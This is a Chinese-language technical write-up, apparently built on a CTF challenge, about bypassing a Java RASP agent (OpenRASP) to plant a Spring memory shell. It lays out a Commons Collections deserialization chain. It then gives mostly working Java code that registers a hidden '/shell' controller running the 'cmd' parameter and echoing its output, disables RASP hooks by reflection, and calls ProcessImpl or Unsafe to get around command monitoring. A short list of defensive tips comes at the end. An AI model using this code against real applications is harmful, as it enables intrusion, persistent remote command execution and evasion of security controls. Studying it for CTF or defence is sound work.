绕RASP之内存马后渗透浅析
字数 1028 2025-08-29 08:30:30

绕RASP之内存马后渗透技术分析

1. RASP技术概述

RASP(Runtime Application Self-Protection)是一种运行时应用程序自我保护技术,通过在应用程序中注入防护功能来实时监测和阻断攻击。

1.1 Java RASP实现原理

  • 通过Instrumentation编写Agent
  • 在Agent的premainagentmain中加入检测类
  • 检测类继承ClassFileTransformer,用于监控字节码文件
  • 核心接口:
    • ClassFileTransformer:允许在类加载前或重新定义时转换字节码
    • Instrumentation:提供启动时代理和重新定义类的能力

2. 环境搭建与题目分析

2.1 环境复现

docker pull openjdk:8-jdk
docker run -p 45412:8888 -it --rm openjdk:8-jdk sh
java -javaagent:./rasp/rasp.jar -jar DeSpring.jar

2.2 题目分析

  • /user/info接口的data参数可传入base64编码的恶意字节码
  • 存在Commons Collections(CC)依赖
  • SecurityObjectInputStream类中有黑名单限制

3. 反序列化链构造

3.1 可用链分析

  • LazyMap和DefaultedMap未被禁用
  • Hashtable未被禁用
  • 使用CC7前半段+CC3后半段的组合链

3.2 利用链流程

Hashtable#readObject()
DefaultedMap#get()
InstantiateTransformer#transform()
    newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses
    newInstance()
    Runtime.exec()

3.3 关键点

  1. DefaultedMap继承AbstractMapDecorator,会调用父类的equals方法
  2. 通过DefaultedMap的静态方法decorate传递HashMap
  3. 利用InstantiateTransformer实例化TrAXFilter类

4. 内存马实现

4.1 基本内存马结构

public class EvilController extends AbstractTranslet {
    public EvilController() throws Exception {
        // 获取Spring上下文
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取RequestMappingHandlerMapping实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 反射获取Method对象
        Method method = EvilController.class.getMethod("test");
        
        // 动态注册controller
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
        
        EvilController springBootMemoryShellOfController = new EvilController("ycxlo");
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
    }
    
    public void test() throws Exception {
        // 命令执行逻辑
    }
}

4.2 RASP绕过技术

方法一:修改disableHooks

try {
    Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
    Method getConfig = clz.getDeclaredMethod("getConfig");
    Field disableHooks = clz.getDeclaredField("disableHooks");
    disableHooks.setAccessible(true);
    Object ins = getConfig.invoke(null);
    disableHooks.set(ins, true);
} catch (Exception e) {}

方法二:修改hookWhiteAll和cloudSwitch

try {
    Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
    Method getConfig = clz.getDeclaredMethod("getConfig");
    
    Field hookWhiteAll = clz.getDeclaredField("hookWhiteAll");
    hookWhiteAll.setAccessible(true);
    Object ins = getConfig.invoke(null);
    hookWhiteAll.set(ins, true);
    
    Field cloudSwitch = clz.getDeclaredField("cloudSwitch");
    cloudSwitch.setAccessible(true);
    Object ins2 = getConfig.invoke(null);
    cloudSwitch.set(ins2, true);
} catch (Exception e) {}

方法三:修改HookHandler

Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
Field f = o.getClass().getDeclaredField("enableHook");
Field m = f.getClass().getDeclaredField("modifiers");
m.setAccessible(true);
m.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(o, new AtomicBoolean(false));

5. 命令执行与文件操作

5.1 创建新进程执行命令

public class BypassRasp extends AbstractTranslet implements Runnable {
    public BypassRasp() {
        new Thread(this).start();
    }
    
    @Override
    public void run() {
        try {
            boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
            String[] command = isLinux ? 
                new String[]{"sh", "-c", "ls > /tmp/result"} : 
                new String[]{"cmd.exe", "/c", "calc"};
            Runtime.getRuntime().exec(command);
        } catch (IOException e) {}
    }
}

5.2 Hook ProcessImpl执行命令(Windows)

public static void bypass_hook(String cmd) throws Exception {
    Class processClass = Class.forName("java.lang.ProcessImpl");
    Method create = processClass.getDeclaredMethod("create", 
        String.class, String.class, String.class, long[].class, boolean.class);
    create.setAccessible(true);
    create.invoke(null, cmd, null, null, new long[]{-1, -1, -1}, true);
}

5.3 UNIX/Linux系统命令执行

// 使用Unsafe绕过
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class processClass = Class.forName("java.lang.UNIXProcess");
Object processObject = unsafe.allocateInstance(processClass);

// 详细实现参考完整代码

5.4 文件读取

File file = new File("./result");
Scanner c = new Scanner(file).useDelimiter("\\A");
String o = c.hasNext() ? c.next() : "default";
c.close();

6. 完整内存马实现(带回显)

public class EvilController extends AbstractTranslet implements Runnable {
    private static String RESULT = "you_are_right";
    private static String CMD = "whoami";
    
    @Override
    public void run() {
        boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
        String[] command = isLinux ? 
            new String[]{"sh", "-c", CMD} : 
            new String[]{"cmd.exe", "/c", CMD};
        
        try {
            InputStream in = Runtime.getRuntime().exec(command).getInputStream();
            Scanner scanner = new Scanner(in).useDelimiter("\\A");
            RESULT = scanner.hasNext() ? scanner.next() : "";
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
        String cmd = request.getParameter("cmd");
        
        if (cmd != null) {
            PrintWriter printWriter = response.getWriter();
            CMD = cmd;
            new Thread(this).start();
            printWriter.write(RESULT);
            printWriter.flush();
            printWriter.close();
        }
    }
}

7. 防御建议

  1. 加强RASP规则,监控关键类的反射调用
  2. 限制Instrumentation API的使用权限
  3. 监控内存马的动态注册行为
  4. 实施严格的输入验证和过滤
  5. 定期更新RASP规则库

通过以上技术分析,我们详细了解了如何绕过RASP防护实现内存马注入和命令执行,同时也为防御此类攻击提供了参考方向。

绕RASP之内存马后渗透技术分析 1. RASP技术概述 RASP(Runtime Application Self-Protection)是一种运行时应用程序自我保护技术,通过在应用程序中注入防护功能来实时监测和阻断攻击。 1.1 Java RASP实现原理 通过Instrumentation编写Agent 在Agent的 premain 和 agentmain 中加入检测类 检测类继承 ClassFileTransformer ,用于监控字节码文件 核心接口: ClassFileTransformer :允许在类加载前或重新定义时转换字节码 Instrumentation :提供启动时代理和重新定义类的能力 2. 环境搭建与题目分析 2.1 环境复现 2.2 题目分析 /user/info 接口的 data 参数可传入base64编码的恶意字节码 存在Commons Collections(CC)依赖 SecurityObjectInputStream 类中有黑名单限制 3. 反序列化链构造 3.1 可用链分析 LazyMap和DefaultedMap未被禁用 Hashtable未被禁用 使用CC7前半段+CC3后半段的组合链 3.2 利用链流程 3.3 关键点 DefaultedMap继承AbstractMapDecorator,会调用父类的equals方法 通过DefaultedMap的静态方法decorate传递HashMap 利用InstantiateTransformer实例化TrAXFilter类 4. 内存马实现 4.1 基本内存马结构 4.2 RASP绕过技术 方法一:修改disableHooks 方法二:修改hookWhiteAll和cloudSwitch 方法三:修改HookHandler 5. 命令执行与文件操作 5.1 创建新进程执行命令 5.2 Hook ProcessImpl执行命令(Windows) 5.3 UNIX/Linux系统命令执行 5.4 文件读取 6. 完整内存马实现(带回显) 7. 防御建议 加强RASP规则,监控关键类的反射调用 限制Instrumentation API的使用权限 监控内存马的动态注册行为 实施严格的输入验证和过滤 定期更新RASP规则库 通过以上技术分析,我们详细了解了如何绕过RASP防护实现内存马注入和命令执行,同时也为防御此类攻击提供了参考方向。